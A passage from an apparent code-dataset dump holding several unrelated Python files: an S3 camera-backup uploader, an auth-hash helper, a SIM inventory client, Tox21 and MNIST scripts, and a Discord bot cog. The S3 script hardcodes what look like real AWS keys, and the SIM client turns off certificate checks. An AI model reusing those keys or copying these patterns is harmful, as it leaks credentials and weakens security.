56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pcolormesh", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.constants.e", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "170628261", "text": "import argparse, os, boto3, glob\n\n# Read in command-line parameters\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-k\", \"--keyID\", action=\"store\", dest=\"accessKeyID\", default='AKIAICFM4F6PFMZG4JKQ', help=\"Your AWS access key\")\nparser.add_argument(\"-s\", \"--secretkey\", action=\"store\", dest=\"accessSecretKey\", default='MTf/tQtqKl6BFiC7XcVCPWqBEZqy/yhKYuD4mjMJ', help=\"Your AWS secret access key\")\nparser.add_argument(\"-b\", \"--bucket\", action=\"store\", default='raspberry22-backup', dest=\"bucketName\", help=\"AWS bucket name\")\nparser.add_argument(\"-f\", \"--filename\", action=\"store\", required=True, dest=\"backupFile\", help=\"Trip_start part of you backup file\")\n\nargs = parser.parse_args()\nAWS_ACCESS = args.accessKeyID\nAWS_SECRET = args.accessSecretKey\nbucketName = args.bucketName\ntripStart = args.backupFile\n\n# config\n#AWS_ACCESS = \n#AWS_SECRET = \n#bucketName = \n\nsession = boto3.Session(aws_access_key_id = AWS_ACCESS ,aws_secret_access_key = AWS_SECRET)\nclient = session.client('s3')\n\ndirectory = os.popen('pwd').read().rstrip() + '/Camera' + '/'\nfilenames = [os.path.basename(x) for x in glob.glob(str(directory) + '*{}.avi'.format(tripStart))]\n\n\n''' #Get avi file list ended with tripStart \nwith open(\"camera_RPi.txt\", \"wb\") as file:\n\tfor f in filenames:\n\t\tfile.write(f)\n'''\n\nfor f in filenames:\n client.upload_file(directory+f, bucketName, f)\n print('File name: %s, Bucket name: %s' %(f,bucketName))\n", "sub_path": "RaspberryPi/camera/upload_to_S3.py", "file_name": "upload_to_S3.py", "file_ext": "py", "file_size_in_byte": 1416, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 4, "usage_type": "call"}, {"api_name": "boto3.Session", "line_number": 21, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "250637768", "text": "import string, logging\nfrom time import time\n\nfrom Crypto.Hash import SHA\nfrom Crypto.Random import random\n\nlog = logging.getLogger(__name__)\n\n\ndef auth_requester(request, user):\n\ttimestamp = request.headers['timestamp']\n\tif abs(int(timestamp) - int(time())) > 300:\n\t\tlog.debug('timestamp mismatch')\n\t\treturn False\n\n\tpath, method = request.path, request.method\n\tu_key = request.headers['user_key']\n\tu_hash = request.headers['user_hash']\n\tbody = request.data\n\tu_secret = user.secret\n\tmy_hash = auth_hash(path, method, timestamp, body, u_secret)\n\tif u_hash != my_hash:\n\t\tlog.debug('invalid hash')\n\t\treturn False\n\n\treturn True\n\n\ndef auth_hash(path, method, timestamp, body, secret):\n\thash_string = path+method+timestamp+body+secret\n\treturn SHA.new(hash_string).hexdigest()\n\n\ndef random_string(size, chars=string.ascii_uppercase + string.digits):\n\treturn ''.join(random.choice(chars) for _ in range(size))\n\n\ndef random_name():\n\treturn 'totallyrandomname'", "sub_path": "wemaps/crypt_helper.py", "file_name": "crypt_helper.py", "file_ext": "py", "file_size_in_byte": 950, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "time.time", "line_number": 12, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA.new", "line_number": 31, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA", "line_number": 31, "usage_type": "name"}, {"api_name": "string.ascii_uppercase", "line_number": 34, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 34, "usage_type": "attribute"}, {"api_name": "Crypto.Random.random.choice", "line_number": 35, "usage_type": "call"}, {"api_name": "Crypto.Random.random", "line_number": 35, "usage_type": "name"}]} +{"seq_id": "427288135", "text": "########################################################################################################################\r\n# #\r\n# MIT License #\r\n# #\r\n# Copyright (c) 2018 Telefonica R&D #\r\n# #\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated #\r\n# documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the #\r\n# rights in the Software without restriction, including without limitation the rights o use, copy, modify, merge, #\r\n# publish, to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and #\r\n# to permit persons to whom the Software is furnished to do so, subject to the following conditions: #\r\n# #\r\n# THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO #\r\n# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.#\r\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN #\r\n# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER #\r\n# DEALINGS IN THE SOFTWARE. #\r\n# #\r\n########################################################################################################################\r\n\r\nfrom __future__ import print_function\r\nfrom log import *\r\nfrom utils import *\r\nfrom os import remove\r\nimport requests\r\nimport json\r\n\r\n\r\nKITE_API = \":8010/services/REST/GlobalM2M/Inventory/v6/r12/sim?\"\r\nKITE_API_IP = \"ip=%s\"\r\nKITE_API_ICC = \"icc=%s\"\r\nKITE_API_ALIAS = \"alias=%s\"\r\n\r\ndef get_info_from_ip(url, certificate, key, ipAddress):\r\n \"\"\"HTTPS request in Kite using the IP Address.\r\n\r\n :param url: url of Kite to search using the ip\r\n :param certificate: certificate file for Kite connection\r\n :param key: private key file for Kite connection\r\n :param ipAddress: SIM's IP Address\r\n :return: the https response from url find by the IP\r\n\r\n \"\"\"\r\n url_api = url + KITE_API_IP\r\n kite_response = requests.get(url_api % ipAddress,cert=(certificate, key), verify=False)\r\n\r\n return kite_response\r\n\r\n\r\ndef get_info_from_icc(url, certificate, key, iccNumber):\r\n \"\"\" HTTPS request in Kite using the ICC Number.\r\n\r\n :param url: url of Kite to search using the icc\r\n :param certificate: certificate file for Kite connection\r\n :param key: private key file for Kite connection\r\n :param iccNumber: SIM's ICC Number\r\n :return: the https response from url find by the ICC\r\n\r\n \"\"\"\r\n url_api = url + KITE_API_ICC\r\n kite_response = requests.get(url_api % iccNumber, cert=(certificate, key), verify=False)\r\n\r\n return kite_response\r\n\r\n\r\ndef get_info_from_alias(url, certificate, key, alias_name):\r\n \"\"\"HTTPS request in Kite using the IP Address.\r\n\r\n :param url: url of Kite to search using the ip\r\n :param certificate: certificate file for Kite connection\r\n :param key: private key file for Kite connection\r\n :param ipAddress: SIM's IP Address\r\n :return: the https response from url find by the IP\r\n\r\n \"\"\"\r\n url_api = url + KITE_API_ALIAS\r\n kite_response = requests.get(url_api % alias_name, cert=(certificate, key), verify=False)\r\n\r\n return kite_response\r\n\r\n\r\ndef kite_get_custom_parameters(url, certificate, key, ipAddress):\r\n \"\"\"Get de Custom Fields from Kite Platform\r\n\r\n :param url: dictionary with Kite urls\r\n :param certificate: certificate file for Kite connection\r\n :param key: private key file for Kite connection\r\n :param ipAddress:\r\n :return: status of the connection[0], Thing name [1] and default topic [2]\r\n\r\n \"\"\"\r\n url_api = url + KITE_API\r\n kite_response = get_info_from_ip(url_api, certificate, key, ipAddress)\r\n\r\n thing_name = \"\"\r\n thing_topic = \"\"\r\n thing_latitude = \"\"\r\n thing_longitude = \"\"\r\n\r\n logger.info(\"KITE Response status code [ %s ]\" % kite_response.status_code )\r\n\r\n if kite_response.status_code == 200:\r\n connected = True\r\n json_kite_response = json.loads(kite_response.text)\r\n thing_name = json_kite_response[\"subscriptionData\"][0][\"customField1\"]\r\n thing_topic = json_kite_response[\"subscriptionData\"][0][\"customField2\"]\r\n logger.debug(\"KITE: Reading thing name [ %s ]\" % thing_name)\r\n logger.debug(\"KITE: Reading thing topic [ %s ]\" % thing_topic)\r\n\r\n if json_kite_response[\"subscriptionData\"][0][\"supplServices\"][\"location\"]:\r\n thing_latitude = json_kite_response[\"subscriptionData\"][0][\"automaticLocation\"][\"coordinates\"][\"latitude\"]\r\n thing_longitude = json_kite_response[\"subscriptionData\"][0][\"manualLocation\"][\"coordinates\"][\"longitude\"]\r\n logger.debug(\"KITE: Reading latitude [ %s ]\" % thing_latitude)\r\n logger.debug(\"KITE: Reading longitude [ %s ]\" % thing_longitude)\r\n\r\n\r\n else:\r\n connected = False\r\n\r\n return connected, thing_name, thing_topic, kite_response.status_code, thing_latitude, thing_longitude\r\n\r\nclass Kite:\r\n \"\"\" Contains the information of the SIM in Kite.\r\n\r\n \"\"\"\r\n status_ok = False\r\n ip = ''\r\n device_name = ''\r\n cloud_topic = ''\r\n latitude = ''\r\n longitude = ''\r\n code = 0\r\n\r\n def __init__(self, ip_address, certificate, private_key):\r\n \"\"\" Class Kite Constructor.\r\n\r\n :param ipAddress: SIM's IP Address\r\n\r\n \"\"\"\r\n logger.debug(\"KITE: Reading config file\")\r\n config_file = read_config('config/Configuration.yaml')\r\n url = config_file[\"KITE\"][\"url\"]\r\n\r\n '''fd_cert, temp_path_cert = tempfile.mkstemp()\r\n temp_file_cert = open(temp_path_cert, 'w')\r\n temp_file_cert.write(certificate)\r\n temp_file_cert.close()\r\n\r\n fd_key, temp_path_key = tempfile.mkstemp()\r\n temp_file_key = open(temp_path_key, 'w')\r\n temp_file_key.write(private_key)\r\n temp_file_key.close()'''\r\n\r\n temp_path_cert = tmp_file(certificate)\r\n temp_path_key = tmp_file(private_key)\r\n\r\n try:\r\n\r\n self.ip = ip_address\r\n self.status_ok, self.device_name, self.cloud_topic, self.code, self.latitude, self.longitude = \\\r\n kite_get_custom_parameters(url, temp_path_cert, temp_path_key, ip_address)\r\n\r\n os.remove(temp_path_cert)\r\n os.remove(temp_path_key)\r\n\r\n except Exception as e:\r\n os.remove(temp_path_cert)\r\n os.remove(temp_path_key)\r\n\r\n logger.debug(\"KITE: Readed \")\r\n\r\n\r\n", "sub_path": "scripts/Data_Bridge/kite_platform.py", "file_name": "kite_platform.py", "file_ext": "py", "file_size_in_byte": 7476, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 61, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 77, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 104, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 163, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 164, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 167, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 168, "usage_type": "call"}]} +{"seq_id": "528000517", "text": "import rdkit.Chem as Chem\nimport numpy as np\nimport os\n\n'''\nThis script is meant to split the Tox21 test dataset into the \nindividual target datasets for training single-task models.\n'''\n\nif __name__ == '__main__':\n\n\t# Read SDF\n\tsuppl = Chem.SDMolSupplier(\n\t\tos.path.join(\n\t\t\tos.path.dirname(os.path.dirname(__file__)),\n\t\t\t'data', 'tox21_10k_challenge_test.sdf'\n\t\t),\n\t\tsanitize = False\n\t)\n\n\tmols = []\n\tsmiles = []\n\tys = None\n\ttargets = [\n\t\t'NR-AhR',\n\t\t'NR-AR',\n\t\t'NR-AR-LBD',\n\t\t'NR-Aromatase',\n\t\t'NR-ER',\n\t\t'NR-ER-LBD',\n\t\t'NR-PPAR-gamma',\n\t\t'SR-ARE',\n\t\t'SR-ATAD5',\n\t\t'SR-HSE',\n\t\t'SR-MMP',\n\t\t'SR-p53'\n\t]\n\tj = 1\n\tfor mol in suppl:\n\t\tmols.append(mol)\n\t\tsmiles.append(Chem.MolToSmiles(mol))\n\t\ty = np.nan * np.ones((1, len(targets)))\n\t\tfor i, target in enumerate(targets):\n\t\t\ttry:\n\t\t\t\ty[0, i] = bool(float(mol.GetProp(target)))\n\t\t\texcept Exception as e:\n\t\t\t\tpass\n\t\tif type(ys) == type(None): \n\t\t\tys = y\n\t\telse:\n\t\t\tys = np.concatenate((ys, y))\n\t\tif j % 500 == 0:\n\t\t\tprint('completed {} entries'.format(j))\n\t\tj += 1\n\t\n\tprint(ys)\n\tprint(ys.shape)\n\tfor i, target in enumerate(targets):\n\t\tprint('Target {} has {} entries; {} active'.format(\n\t\t\ttarget, sum(~np.isnan(ys[:, i])), np.sum(ys[~np.isnan(ys[:, i]), i])\n\t\t))\n\t\twith open(os.path.join(\n\t\t\t\tos.path.dirname(os.path.dirname(__file__)),\n\t\t\t\t'data', '{}-test.smiles'.format(target.lower())\n\t\t\t\t), 'w') as fid:\n\t\t\tfor j, smile in enumerate(smiles):\n\t\t\t\tif ~np.isnan(ys[j, i]):\n\t\t\t\t\tfid.write('{}\\t{}\\t{}\\n'.format(smile, '??', ys[j, i]))\n\n\twith open(os.path.join(\n\t\t\tos.path.dirname(os.path.dirname(__file__)),\n\t\t\t'data', 'tox21-test.smiles'\n\t\t\t), 'w') as fid:\n\t\tfor j, smile in enumerate(smiles):\n\t\t\tfid.write('{}\\t{}\\t{}\\n'.format(smile, '??', '\\t'.join([str(x) for x in ys[j, :]])))\n\n", "sub_path": "scripts/preprocess_tox21_test.py", "file_name": "preprocess_tox21_test.py", "file_ext": "py", "file_size_in_byte": 1730, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rdkit.Chem.SDMolSupplier", "line_number": 13, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rdkit.Chem.MolToSmiles", "line_number": 41, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}]} +{"seq_id": "496772508", "text": "import os\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\nfrom keras.models import load_model\nimport numpy as np\n\n\n\"\"\"\nHere we test our fooling images with more models and check if the models are equally fooled by them.\n\"\"\"\nmodel_folder = os.path.join(os.getcwd(), 'saved_models')\ndata_folder = os.path.join(os.getcwd(), 'saved_datasets')\n\nmodel_1_path = \"mnist_cnn.h5\"\nmodel_1_path = os.path.join(model_folder, model_1_path)\nmodel_2_path = \"mnist_cnn_diff.h5\"\nmodel_2_path = os.path.join(model_folder, model_2_path)\ndata_path = \"mnist.npz\"\ndata_path = os.path.join(data_folder, data_path)\n\nbatch_size = 128\nnum_classes = 10\nepochs = 12\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\nif not os.path.isdir(data_folder):\n os.mkdir(data_folder)\n\n# the data, shuffled and split between train and test sets\n(x_train, y_train), (x_test, y_test) = mnist.load_data(path=data_path)\n\nif K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\nelse:\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\nx_train[x_train < 127] = 0\nx_train[x_train >= 127] = 1\nx_test[x_test < 127] = 0\nx_test[x_test >= 127] = 1\n\n\nprint('x_train shape:', x_train.shape)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n# convert class vectors to binary class matrices\ny_orig_train = np.copy(y_train)\ny_orig_test = np.copy(y_test)\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\nif not os.path.isdir(model_folder):\n os.mkdir(model_folder)\n\ntry:\n model_1 = load_model(model_1_path)\nexcept OSError:\n model_1 = Sequential()\n model_1.add(\n Conv2D(\n 32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape\n )\n )\n model_1.add(Conv2D(64, (3, 3), activation='relu'))\n model_1.add(MaxPooling2D(pool_size=(2, 2)))\n model_1.add(Dropout(0.25))\n model_1.add(Flatten())\n model_1.add(Dense(128, activation='relu'))\n model_1.add(Dropout(0.5))\n model_1.add(Dense(num_classes, activation='softmax'))\n\n model_1.compile(\n loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy']\n )\n\n model_1.fit(\n x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test)\n )\n score = model_1.evaluate(x_test, y_test, verbose=0)\n print('Test loss:', score[0])\n print('Test accuracy:', score[1])\n\n model_1.save(model_1_path)\n\n\ntry:\n model_2 = load_model(model_2_path)\nexcept OSError:\n model_2 = Sequential()\n model_2.add(Conv2D(32, (3, 3), activation='relu', input_shape=input_shape))\n model_2.add(Conv2D(64, (3, 3), activation='relu'))\n model_2.add(Conv2D(128, (3, 3), activation='relu'))\n model_2.add(Conv2D(64, (3, 3), activation='relu'))\n model_2.add(MaxPooling2D(pool_size=(2, 2)))\n model_2.add(Dropout(0.5))\n model_2.add(Flatten())\n model_2.add(Dense(128, activation='relu'))\n model_2.add(Dropout(0.5))\n model_2.add(Dense(64, activation='relu'))\n model_2.add(Dropout(0.5))\n model_2.add(Dense(num_classes, activation='softmax'))\n\n model_2.compile(\n loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy']\n )\n\n model_2.fit(\n x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test)\n )\n score = model_2.evaluate(x_test, y_test, verbose=0)\n print('Test loss:', score[0])\n print('Test accuracy:', score[1])\n\n model_2.save(model_2_path)\n\n\nfooling_images = []\n\n\nfooling_path = os.path.join(os.path.dirname(os.getcwd()), 'MNIST_Fooling')\nfor root, dirs, filenames in os.walk(fooling_path):\n for f in filenames:\n temp = np.load(os.path.join(fooling_path, f))\n temp = temp.reshape((10, 28, 28, 1))\n\n # Add it to the new array\n for x in temp:\n fooling_images.append(x)\n\nfooling_images = np.array(fooling_images)\n\npred1 = model_1.predict(fooling_images)\npred2 = model_2.predict(fooling_images)\n\nerrors_1 = 0\n\nfor i, x in enumerate(pred1):\n if x[i % 10] < 0.7:\n print(i)\n errors_1 += 1\n\nerrors_2 = 0\n\nfor i, x in enumerate(pred2):\n if x[i % 10] < 0.7:\n errors_2 += 1\n\nprint(\"Error by the original model:\", errors_1)\nprint(\"Error by the different model:\", errors_2)\n", "sub_path": "src/mnist_diff_arch.py", "file_name": "mnist_diff_arch.py", "file_ext": "py", "file_size_in_byte": 4916, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.datasets.mnist.load_data", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.datasets.mnist", "line_number": 36, "usage_type": "name"}, {"api_name": "keras.backend.image_data_format", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 59, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 60, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 80, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.losses", "line_number": 86, "usage_type": "attribute"}, {"api_name": "keras.optimizers.Adadelta", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 87, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 108, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 109, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 110, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 111, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 113, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 114, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 115, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 116, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 117, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 118, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 119, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 120, "usage_type": "call"}, {"api_name": "keras.losses", "line_number": 123, "usage_type": "attribute"}, {"api_name": "keras.optimizers.Adadelta", "line_number": 124, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 145, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 145, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 155, "usage_type": "call"}]} +{"seq_id": "327556361", "text": "from discord.ext import commands\n\nfrom check import no_dm_predicate, not_during_round_predicate\nfrom rooms import here\n\n\nclass Options(commands.Cog):\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\n\tdef cog_check(self, ctx):\n\t\treturn no_dm_predicate(ctx)\n\n\t@commands.command(\n\t\tbrief=\"Set or show number of words\",\n\t\tdescription=\"Set the number of words. Or, call without a number to show the current value. Changes during a round only affect later round.\",\n\t\taliases=[\"nw\"],\n\t)\n\tasync def numwords(self, ctx, *, num: int = None):\n\t\tif num is not None:\n\t\t\tif not 2 <= num <= 100:\n\t\t\t\traise commands.CheckFailure(f\"Invalid number of words {num}.\")\n\t\t\there(ctx).num_words = num\n\n\t\tnum = here(ctx).num_words\n\t\tawait ctx.send(f\"Number of words: {num}\")\n\n\t@commands.command(\n\t\tbrief=\"Set or show team guess size for large games\",\n\t\tdescription=\"Set or show maximum team guess size. In games where a team size exceeds this value, instead of guessing your whole team, you only guess a subset of this many players. Call without a number to show the current value.\",\n\t\taliases=[\"mg\"],\n\t)\n\tasync def maxguess(self, ctx, *, size: int = None):\n\t\tif size is not None:\n\t\t\tawait not_during_round_predicate(ctx)\n\t\t\tif not 1 <= size <= 99:\n\t\t\t\traise commands.CheckFailure(f\"Invalid team guess size {size}.\")\n\t\t\there(ctx).max_guess = size\n\n\t\tsize = here(ctx).max_guess\n\t\tawait ctx.send(f\"Guess team subset of size {size} (counting yourself) in games with {2*size + 1}+ players.\")\n\n\t@commands.command(\n\t\tbrief=\"Set or show veto round duration\",\n\t\tdescription=\"Set the veto round duration in seconds. Zero means no veto round. Call without a number to show the current value.\",\n\t\taliases=[\"vd\"],\n\t)\n\tasync def vetodur(self, ctx, *, duration: int = None):\n\t\tif duration is not None:\n\t\t\tawait not_during_round_predicate(ctx)\n\t\t\tif not 0 <= duration <= 999:\n\t\t\t\traise commands.CheckFailure(f\"Invalid duration {duration}.\")\n\t\t\there(ctx).veto_duration = duration\n\n\t\tduration = here(ctx).veto_duration\n\n\t\tif duration == 0:\n\t\t\tdescription = \"0 (no veto round)\"\n\t\telse:\n\t\t\tdescription = f\"{duration} seconds\"\n\n\t\tawait ctx.send(f\"Veto duration: {description}\")\n", "sub_path": "options.py", "file_name": "options.py", "file_ext": "py", "file_size_in_byte": 2128, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 7, "usage_type": "name"}, {"api_name": "check.no_dm_predicate", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.ext.commands.CheckFailure", "line_number": 22, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 22, "usage_type": "name"}, {"api_name": "rooms.here", "line_number": 23, "usage_type": "call"}, {"api_name": "rooms.here", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 14, "usage_type": "name"}, {"api_name": "check.not_during_round_predicate", "line_number": 35, "usage_type": "call"}, {"api_name": "discord.ext.commands.CheckFailure", "line_number": 37, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 37, "usage_type": "name"}, {"api_name": "rooms.here", "line_number": 38, "usage_type": "call"}, {"api_name": "rooms.here", "line_number": 40, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 28, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 28, "usage_type": "name"}, {"api_name": "check.not_during_round_predicate", "line_number": 50, "usage_type": "call"}, {"api_name": "discord.ext.commands.CheckFailure", "line_number": 52, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 52, "usage_type": "name"}, {"api_name": "rooms.here", "line_number": 53, "usage_type": "call"}, {"api_name": "rooms.here", "line_number": 55, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 43, "usage_type": "name"}]} +{"seq_id": "198915883", "text": "# *****************************************************************************\n# Copyright 